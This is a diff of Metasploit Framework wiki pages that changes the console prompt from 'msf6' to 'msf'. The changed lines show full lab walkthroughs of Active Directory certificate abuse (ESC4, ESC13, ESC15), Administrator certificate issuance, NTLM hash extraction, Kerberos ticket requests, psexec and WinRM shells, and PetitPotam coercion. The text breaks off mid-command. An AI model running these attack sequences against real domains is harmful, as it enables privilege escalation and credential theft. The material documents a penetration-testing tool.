ESC4-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN Administrator@daforest.com ALT_UPN => Administrator@daforest.com -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [-] 172.30.239.85:445 - There was an error while requesting the certificate. @@ -796,7 +796,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [-] 172.30.239.85:445 - Source: (0x0009) FACILITY_SECURITY: The source of the error code is the Security API layer. [-] 172.30.239.85:445 - HRESULT: (0x80094812) CERTSRV_E_SUBJECT_EMAIL_REQUIRED: The email name is unavailable and cannot be added to the Subject or Subject Alternate name. [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Next, we use the `ad_cs_cert_template` module to update the `ESC4-Test` certificate template. This process first makes a @@ -805,20 +805,20 @@ update the object in Active Directory. The local certificate template data can b descriptor. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85 +msf auxiliary(admin/dcerpc/icpr_cert) > use auxiliary/admin/ldap/ad_cs_cert_template +msf auxiliary(admin/ldap/ad_cs_cert_template) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser +msf auxiliary(admin/ldap/ad_cs_cert_template) > set USERNAME normaluser USERNAME => normaluser -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass +msf auxiliary(admin/ldap/ad_cs_cert_template) > set PASSWORD normalpass PASSWORD => normalpass -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test +msf auxiliary(admin/ldap/ad_cs_cert_template) > set CERT_TEMPLATE ESC4-Test CERT_TEMPLATE => ESC4-Test -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE +msf auxiliary(admin/ldap/ad_cs_cert_template) > set ACTION UPDATE ACTION => UPDATE -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true +msf auxiliary(admin/ldap/ad_cs_cert_template) > set VERBOSE true VERBOSE => true -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 172.30.239.85 [+] Successfully bound to the LDAP server! @@ -830,32 +830,32 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Parsing SDDL text: D:PAI(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;AU) [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` Now that the certificate template has been updated to be vulnerable to ESC1, then we can use the `previous` shortcut to switch back to the last module and reattempt to issue the certificate. This time, the operation succeeds. ```msf -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > previous -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > previous +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [+] 172.30.239.85:445 - The requested certificate was issued. [*] 172.30.239.85:445 - Certificate UPN: Administrator@daforest.com [*] 172.30.239.85:445 - Certificate stored at: /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Finally, we switch back to the `ad_cs_cert_template` module to restore the original configuration. We do this by setting the local template data option `TEMPLATE_FILE` to the JSON file that was created by the previous run. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > previous -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json +msf auxiliary(admin/dcerpc/icpr_cert) > previous +msf auxiliary(admin/ldap/ad_cs_cert_template) > set TEMPLATE_FILE /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json TEMPLATE_FILE => /home/smcintyre/.msf4/loot/20230505083802_default_172.30.239.85_windows.ad.cs.te_593597.json -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run +msf auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Running module against 172.30.239.85 [+] Successfully bound to the LDAP server! @@ -866,7 +866,7 @@ msf6 auxiliary(admin/ldap/ad_cs_cert_template) > run [*] Certificate template data written to: /home/smcintyre/.msf4/loot/20230505083942_default_172.30.239.85_windows.ad.cs.te_000095.json [+] The operation completed successfully! [*] Auxiliary module execution completed -msf6 auxiliary(admin/ldap/ad_cs_cert_template) > +msf auxiliary(admin/ldap/ad_cs_cert_template) > ``` At this point the certificate template's configuration has been restored and the operator has a certificate that can be @@ -892,10 +892,10 @@ In the following example the AUTO mode is used to issue a certificate for the MS authenticated. ```msf -msf6 auxiliary(server/relay/esc8) > set RELAY_TARGETS 172.30.239.85 -msf6 auxiliary(server/relay/esc8) > run +msf auxiliary(server/relay/esc8) > set RHOSTS 172.30.239.85 +msf auxiliary(server/relay/esc8) > run [*] Auxiliary module running as background job 1. -msf6 auxiliary(server/relay/esc8) > +msf auxiliary(server/relay/esc8) > [*] SMB Server is running. Listening on 0.0.0.0:445 [*] Server started. [*] New request from 192.168.159.129 @@ -931,7 +931,7 @@ permissions will be included in the resulting Kerberos ticket in the notes secti ESC13-Test template is vulnerable to ESC13 and will yield a ticket including the ESC13-Group permissions. ``` -msf6 auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run +msf auxiliary(gather/ldap_esc_vulnerable_cert_finder) > run ... [+] Template: ESC13-Test [*] Distinguished Name: CN=ESC13-Test,CN=Certificate Templates,CN=Public Key Services,CN=Services,CN=Configuration,DC=collalabs1,DC=local @@ -954,20 +954,20 @@ In this case, the ticket can be issued with the `icpr_cert` module. No additiona certificate beyond the standard `CA`, `CERT_TEMPLATE`, target and authentication options. ``` -msf6 > use auxiliary/admin/dcerpc/icpr_cert -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf > use auxiliary/admin/dcerpc/icpr_cert +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 SMBDomain => COLLALABS1 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA CA => collalabs1-SRV-ADDS01-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC13-Test CERT_TEMPLATE => ESC13-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [+] 172.30.239.85:445 - The requested certificate was issued. @@ -976,7 +976,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate UPN: normaluser@collalabs1.local [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20240226170310_default_172.30.239.85_windows.ad.cs_917878.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` We can then use the `kerberos/get_ticket` module to gain a Kerberos ticket granting ticket (TGT) with the `ESC13-Group` @@ -993,25 +993,25 @@ used for authentication to LDAP via SCHANNEL. The operator can then perform LDAP specified in the alternate UPN. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 SMBDomain => COLLALABS1 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA CA => collalabs1-SRV-ADDS01-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test CERT_TEMPLATE => ESC15-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2 +msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.5.5.7.3.2 ADD_CERT_APP_POLICY => 1.3.6.1.5.5.7.3.2 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_UPN administrator@collalabs1.local ALT_UPN => administrator@collalabs1.local -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 +msf auxiliary(admin/dcerpc/icpr_cert) > set ALT_SID S-1-5-21-3402587289-1488798532-3618296993-1000 ALT_SID => S-1-5-21-3402587289-1488798532-3618296993-1000 -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -1021,7 +1021,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - * 1.3.6.1.5.5.7.3.2 (Client Authentication) [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009171337_default_172.30.239.85_windows.ad.cs_089081.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Certificates issued using this technique are not directly able to be used for Kerberos authentication via PKINIT. @@ -1029,21 +1029,21 @@ However, the attack can be modified by adding the Certificate Request Agent OID certificate that can issue additional certificates in a manner similar to ESC2 which are compatible with PKINIT. ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 +msf auxiliary(admin/dcerpc/icpr_cert) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBUser normaluser SMBUser => normaluser -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBDomain COLLALABS1 SMBDomain => COLLALABS1 -msf6 auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass +msf auxiliary(admin/dcerpc/icpr_cert) > set SMBPass normalpass SMBPass => normalpass -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA +msf auxiliary(admin/dcerpc/icpr_cert) > set CA collalabs1-SRV-ADDS01-CA CA => collalabs1-SRV-ADDS01-CA -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE ESC15-Test CERT_TEMPLATE => ESC15-Test -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1 +msf auxiliary(admin/dcerpc/icpr_cert) > set ADD_CERT_APP_POLICY 1.3.6.1.4.1.311.20.2.1 ADD_CERT_APP_POLICY => 1.3.6.1.4.1.311.20.2.1 -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -1053,24 +1053,24 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - * 1.3.6.1.4.1.311.20.2.1 (Certificate Request Agent) [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Next, the certificate is used in conjunction with the `PFX` and `ON_BEHALF_OF` options to issue a certificate compatible with Kerberos as the privileged user (previously `ALT_UPN`). ``` -msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY +msf auxiliary(admin/dcerpc/icpr_cert) > unset ADD_CERT_APP_POLICY Unsetting ADD_CERT_APP_POLICY... -msf6 auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN +msf auxiliary(admin/dcerpc/icpr_cert) > unset ALT_UPN Unsetting ALT_UPN... -msf6 auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User +msf auxiliary(admin/dcerpc/icpr_cert) > set CERT_TEMPLATE User CERT_TEMPLATE => User -msf6 auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator +msf auxiliary(admin/dcerpc/icpr_cert) > set ON_BEHALF_OF COLLALABS1\\administrator ON_BEHALF_OF => COLLALABS1\\administrator -msf6 auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx +msf auxiliary(admin/dcerpc/icpr_cert) > set PFX /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx PFX => /home/normaluser/.msf4/loot/20241009172714_default_172.30.239.85_windows.ad.cs_659672.pfx -msf6 auxiliary(admin/dcerpc/icpr_cert) > run +msf auxiliary(admin/dcerpc/icpr_cert) > run [*] Running module against 172.30.239.85 [*] 172.30.239.85:445 - Requesting a certificate... @@ -1079,7 +1079,7 @@ msf6 auxiliary(admin/dcerpc/icpr_cert) > run [*] 172.30.239.85:445 - Certificate UPN: administrator@collalabs1.local [*] 172.30.239.85:445 - Certificate stored at: /home/normaluser/.msf4/loot/20241009172817_default_172.30.239.85_windows.ad.cs_427087.pfx [*] Auxiliary module execution completed -msf6 auxiliary(admin/dcerpc/icpr_cert) > +msf auxiliary(admin/dcerpc/icpr_cert) > ``` Finally, *this* certificate can be used to authenticate to Kerberos with the `kerberos/get_ticket` module. @@ -1100,7 +1100,7 @@ Certificates can be used to obtain the NTLM hash of an account with the PKINIT e action to `GET_HASH`. ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +msf auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx [*] Running module against 172.30.239.85 [+] 172.30.239.85:88 - Received a valid TGT-Response @@ -1110,7 +1110,7 @@ msf6 auxiliary(admin/kerberos/get_ticket) > get_hash rhosts=172.30.239.85 cert_f [*] 172.30.239.85:88 - TGS MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230505094204_default_172.30.239.85_mit.kerberos.cca_031414.bin [+] Found NTLM hash for Administrator: aad3b435b51404eeaad3b435b51404ee:7facdc498ed1680c4fd1448319a8c04f [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > +msf auxiliary(admin/kerberos/get_ticket) > ``` ### Getting A Kerberos Ticket @@ -1118,21 +1118,21 @@ Certificates can be used to issue a Kerberos ticket granting ticket (TGT) which services such as HTTP, LDAP and SMB. Ticket granting tickets can be requested using the `GET_TGT` action. ```msf -msf6 auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx +msf auxiliary(admin/kerberos/get_ticket) > get_tgt rhosts=172.30.239.85 cert_file=/home/smcintyre/.msf4/loot/20230124173224_default_172.30.239.85_windows.ad.cs_287833.pfx [*] Running module against 172.30.239.85 [*] 172.30.239.85:88 - Getting TGT for Administrator@daforest.com [+] 172.30.239.85:88 - Received a valid TGT-Response [*] 172.30.239.85:88 - TGT MIT Credential Cache ticket saved to /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin [*] Auxiliary module execution completed -msf6 auxiliary(admin/kerberos/get_ticket) > klist +msf auxiliary(admin/kerberos/get_ticket) > klist Kerberos Cache ============== host principal sname issued status path ---- --------- ----- ------ ------ ---- 172.30.239.85 Administrator@daforest.com krbtgt/MSFLAB.LOCAL@MSFLAB.LOCAL 2023-01-24 20:23:54 -0500 valid /home/smcintyre/.msf4/loot/20230124202354_default_172.30.239.85_mit.kerberos.cca_566767.bin -msf6 auxiliary(admin/kerberos/get_ticket) > +msf auxiliary(admin/kerberos/get_ticket) > ``` Once the TGT has been issued, it can be seen in the output of the `klist` command. With the TGT saved, it will @@ -1148,16 +1148,16 @@ use schannel authentication a few options must be set. * `SSL` -- must be set to `true` (`schannel` authentication is only compatible with TLS connections) ```msf -msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85 +msf auxiliary(gather/ldap_query) > set RHOSTS 172.30.239.85 RHOSTS => 172.30.239.85 -msf6 auxiliary(gather/ldap_query) > set LDAP::Auth schannel +msf auxiliary(gather/ldap_query) > set LDAP::Auth schannel LDAP::Auth => schannel -msf6 auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx +msf auxiliary(gather/ldap_query) > set LDAP::CertFile /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx LDAP::CertFile => /home/smcintyre/.msf4/loot/20230505083913_default_172.30.239.85_windows.ad.cs_275324.pfx -msf6 auxiliary(gather/ldap_query) > set SSL true +msf auxiliary(gather/ldap_query) > set SSL true [!] Changing the SSL option's value may require changing RPORT! SSL => true -msf6 auxiliary(gather/ldap_query) > enum_domain +msf auxiliary(gather/ldap_query) > enum_domain [*] Running module against 172.30.239.85 [*] Discovering base DN automatically @@ -1178,5 +1178,5 @@ DC=msflab DC=local objectsid S-1-5-21-3402587289-1488798532-3618296993 [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` diff --git a/docs/metasploit-framework.wiki/kerberos/kerberoasting.md b/docs/metasploit-framework.wiki/kerberos/kerberoasting.md index b427c3250eff8..e8df4431f9565 100644 --- a/docs/metasploit-framework.wiki/kerberos/kerberoasting.md +++ b/docs/metasploit-framework.wiki/kerberos/kerberoasting.md @@ -51,7 +51,7 @@ run rhost=192.168.123.13 user= pass= domain= If you followed the lab setup setup above, this should output the following result: ```msf -msf6 auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local +msf auxiliary(gather/get_user_spns) > run rhost=192.168.123.13 user=Administrator pass=p4$$w0rd domain=adf3.local [*] Running for 192.168.123.13... [+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation @@ -109,16 +109,16 @@ First an SPN needs to be found. This can be done in a number of ways - including very own `auxiliary/gather/ldap_query` module: ```msf -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set RHOSTS 172.16.199.235 RHOSTS => 172.16.199.235 -msf6 auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY +msf auxiliary(gather/ldap_query) > set BIND_DN DARWIN_CLAY BIND_DN => DARWIN_CLAY -msf6 auxiliary(gather/ldap_query) > set BIND_PW N0tpassword! +msf auxiliary(gather/ldap_query) > set BIND_PW N0tpassword! BIND_PW => N0tpassword! -msf6 auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST +msf auxiliary(gather/ldap_query) > set action ENUM_USER_SPNS_KERBEROAST action => ENUM_USER_SPNS_KERBEROAST -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 172.16.199.235 [+] Successfully bound to the LDAP server! diff --git a/docs/metasploit-framework.wiki/kerberos/service_authentication.md b/docs/metasploit-framework.wiki/kerberos/service_authentication.md index a241fdb0e68af..3ef8921f6a93d 100644 --- a/docs/metasploit-framework.wiki/kerberos/service_authentication.md +++ b/docs/metasploit-framework.wiki/kerberos/service_authentication.md @@ -18,8 +18,8 @@ Metasploit currently offers Kerberos authentication for the following services - Open a WinRM session: ```msf -msf6 > use auxiliary/scanner/winrm/winrm_login -msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local +msf > use auxiliary/scanner/winrm/winrm_login +msf auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd winrm::auth=kerberos domaincontrollerrhost=192.168.123.13 winrm::rhostname=dc3.demo.local domain=demo.local [+] 192.168.123.13:88 - Received a valid TGT-Response [*] 192.168.123.13:5985 - TGT MIT Credential Cache ticket saved to /Users/user/.msf4/loot/20230118120604_default_192.168.123.13_mit.kerberos.cca_451736.bin @@ -31,7 +31,7 @@ msf6 auxiliary(scanner/winrm/winrm_login) > run rhost=192.168.123.13 username=Ad [*] Command shell session 1 opened (192.168.123.1:50722 -> 192.168.123.13:5985) at 2023-01-18 12:06:05 +0000 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed -msf6 auxiliary(scanner/winrm/winrm_login) > sessions -i -1 +msf auxiliary(scanner/winrm/winrm_login) > sessions -i -1 [*] Starting interaction with 1... Microsoft Windows [Version 10.0.14393] @@ -43,8 +43,8 @@ C:\Users\Administrator> Query LDAP for accounts: ```msf -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > run action=ENUM_ACCOUNTS rhost=192.168.123.13 username=Administrator password=p4$$w0rd ldap::auth=kerberos ldap::rhostname=dc3.demo.local domain=demo.local domaincontrollerrhost=192.168.123.13 [*] Running module against 192.168.123.13 [+] 192.168.123.13:88 - Received a valid TGT-Response @@ -79,8 +79,8 @@ CN=Administrator CN=Users DC=adf3 DC=local Running psexec against a host: ```msf -msf6 > use exploit/windows/smb/psexec -msf6 exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local +msf > use exploit/windows/smb/psexec +msf exploit(windows/smb/psexec) > run rhost=192.168.123.13 username=Administrator password=p4$$w0rd smb::auth=kerberos domaincontrollerrhost=192.168.123.13 smb::rhostname=dc3.demo.local domain=demo.local [*] Started reverse TCP handler on 192.168.123.1:4444 [*] 192.168.123.13:445 - Connecting to the server... @@ -102,8 +102,8 @@ meterpreter > Connect to a Microsoft SQL Server instance and run a query: ```msf -msf6 > use auxiliary/admin/mssql/mssql_sql -msf6 auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid' +msf > use auxiliary/admin/mssql/mssql_sql +msf auxiliary(admin/mssql/mssql_sql) > run 192.168.123.13 domaincontrollerrhost=192.168.123.13 username=administrator password=p4$$w0rd mssql::auth=kerberos mssql::rhostname=dc3.demo.local mssqldomain=demo.local sql='select auth_scheme from sys.dm_exec_connections where session_id=@@spid' [*] Reloading module... [*] Running module against 192.168.123.13 @@ -150,7 +150,7 @@ When a write-enabled `KrbCacheMode` is used, tickets that are issued to Metasplo command can be used to view tickets. It is a top level command and can be run even if a module is in use. ```msf -msf6 > klist +msf > klist Kerberos Cache ============== host principal sname issued status path @@ -167,7 +167,7 @@ host principal sname issue More detailed information can be displayed by using the verbose (`-v` / `--verbose`) option. ```msf -msf6 > klist -v +msf > klist -v Kerberos Cache ============== Cache[0]: @@ -236,7 +236,7 @@ CCACHE files can be viewed with the `loot --type mit.kerberos.ccache` command (t specified type). ```msf -msf6 auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache +msf auxiliary(admin/dcerpc/icpr_cert) > loot --type mit.kerberos.ccache Loot ==== diff --git a/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md b/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md index e91968b5e2515..68a6cc793be9b 100644 --- a/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md +++ b/docs/metasploit-framework.wiki/kerberos/unconstrained_delegation.md @@ -46,18 +46,18 @@ and should be ignored as targets. Use the `ENUM_UNCONSTRAINED_DELEGATION` action to enumerate targets: ``` -msf6 > use auxiliary/gather/ldap_query -msf6 auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 +msf > use auxiliary/gather/ldap_query +msf auxiliary(gather/ldap_query) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(gather/ldap_query) > set DOMAIN msflab.local +msf auxiliary(gather/ldap_query) > set DOMAIN msflab.local DOMAIN => msflab.local -msf6 auxiliary(gather/ldap_query) > set USERNAME aliddle +msf auxiliary(gather/ldap_query) > set USERNAME aliddle USERNAME => aliddle -msf6 auxiliary(gather/ldap_query) > set PASSWORD Password1! +msf auxiliary(gather/ldap_query) > set PASSWORD Password1! PASSWORD => Password1! -msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION +msf auxiliary(gather/ldap_query) > set ACTION ENUM_UNCONSTRAINED_DELEGATION ACTION => ENUM_UNCONSTRAINED_DELEGATION -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 192.168.159.10 [*] Discovering base DN automatically @@ -83,16 +83,16 @@ CN=DC OU=Domain Controllers DC=msflab DC=local samaccountname DC$ [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` This results in two potential targets, WS01 and DC. Next, use the `ENUM_DOMAIN_CONTROLLERS` action to identify the domain controllers to remove from the list of potential targets. ``` -msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS +msf auxiliary(gather/ldap_query) > set ACTION ENUM_DOMAIN_CONTROLLERS ACTION => ENUM_DOMAIN_CONTROLLERS -msf6 auxiliary(gather/ldap_query) > run +msf auxiliary(gather/ldap_query) > run [*] Running module against 192.168.159.10 [*] Discovering base DN automatically @@ -110,7 +110,7 @@ CN=DC OU=Domain Controllers DC=msflab DC=local operatingsystemversion 10.0 (17763) [*] Auxiliary module execution completed -msf6 auxiliary(gather/ldap_query) > +msf auxiliary(gather/ldap_query) > ``` This shows that DC is a domain controller and should be removed from the list, leaving WS01 as the only viable target. @@ -124,21 +124,21 @@ remaining options including `RHOSTS` to the domain controller, and `SMBUser` / ` compromised domain account. ``` -msf6 > use auxiliary/scanner/dcerpc/petitpotam -msf6 auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local +msf > use auxiliary/scanner/dcerpc/petitpotam +msf auxiliary(scanner/dcerpc/petitpotam) > set LISTENER ws01.msflab.local LISTENER => ws01.msflab.local -msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle +msf auxiliary(scanner/dcerpc/petitpotam) > set SMBUser aliddle SMBUser => aliddle -msf6 auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1! +msf auxiliary(scanner/dcerpc/petitpotam) > set SMBPass Password1! SMBPass => Password1! -msf6 auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10 +msf auxiliary(scanner/dcerpc/petitpotam) > set RHOSTS 192.168.159.10 RHOSTS => 192.168.159.10 -msf6 auxiliary(scanner/dcerpc/petitpotam) > run +msf 